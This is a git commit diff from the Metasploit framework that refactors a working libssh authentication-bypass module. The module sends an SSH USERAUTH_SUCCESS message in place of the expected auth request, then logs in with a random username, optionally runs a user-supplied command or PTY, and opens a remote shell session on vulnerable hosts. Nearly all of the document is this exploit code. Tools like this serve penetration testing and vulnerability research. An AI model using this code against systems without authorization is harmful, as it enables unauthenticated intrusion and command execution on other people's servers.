Refactor fortinet_backdoor copypasta

GSoC/Meterpreter_Web_Console
William Vu 2018-10-18 13:57:32 -05:00
parent 863ab3447f
commit 21397330f8
2 changed files with 39 additions and 20 deletions

View File

@ -167,6 +167,7 @@ module Msf::Exploit::Remote::SSH::AuthMethods
def authenticate(service_name, username, password = nil)
debug { 'Sending SSH_MSG_USERAUTH_SUCCESS' }
# USERAUTH_SUCCESS is OOB and elicits no reply
send_message(Net::SSH::Buffer.from(
=begin
byte SSH_MSG_USERAUTH_SUCCESS
@ -174,6 +175,7 @@ module Msf::Exploit::Remote::SSH::AuthMethods
:byte, USERAUTH_SUCCESS
))
# So assume we succeeded until we can verify
true
end
end

View File

@ -14,11 +14,16 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'libssh Authentication Bypass Scanner',
'Description' => %q{
"libssh versions 0.6 and above have an authentication bypass vulnerability in
the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message
in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect
to initiate authentication, the attacker could successfully authentciate [sic]
without any credentials."
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
machine's authenticated state being set.
Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
},
'Author' => [
'Peter Winter-Smith', # Discovery
@ -34,7 +39,9 @@ class MetasploitModule < Msf::Auxiliary
register_options([
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'SSH username'])
OptString.new('CMD', [false, 'Command to execute']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
])
register_advanced_options([
@ -60,6 +67,8 @@ class MetasploitModule < Msf::Auxiliary
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
print_status("#{ip}:#{rport} - Attempting authentication bypass")
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, username, ssh_opts)
@ -71,10 +80,14 @@ class MetasploitModule < Msf::Auxiliary
return unless ssh
print_good("#{ip}:#{rport} - Logged in as #{username}")
version = ssh.transport.server_version.version
# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER'] && !version.include?('libssh')
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return
end
report_vuln(
host: ip,
name: self.name,
@ -82,20 +95,17 @@ class MetasploitModule < Msf::Auxiliary
info: version
)
shell = Net::SSH::CommandStream.new(ssh)
shell = Net::SSH::CommandStream.new(ssh, *config)
return unless shell
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1
info = "libssh Authentication Bypass (#{version})"
if shell.error
print_error("#{ip}:#{rport} - #{shell.error}")
return
end
ds_merge = {
'USERNAME' => username
}
start_session(self, info, ds_merge, false, shell.lsock)
# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
end
def rport
@ -103,7 +113,14 @@ class MetasploitModule < Msf::Auxiliary
end
def username
datastore['USERNAME']
Rex::Text.rand_text_alphanumeric(8..42)
end
def config
[
datastore['CMD'],
pty: datastore['SPAWN_PTY']
]
end
end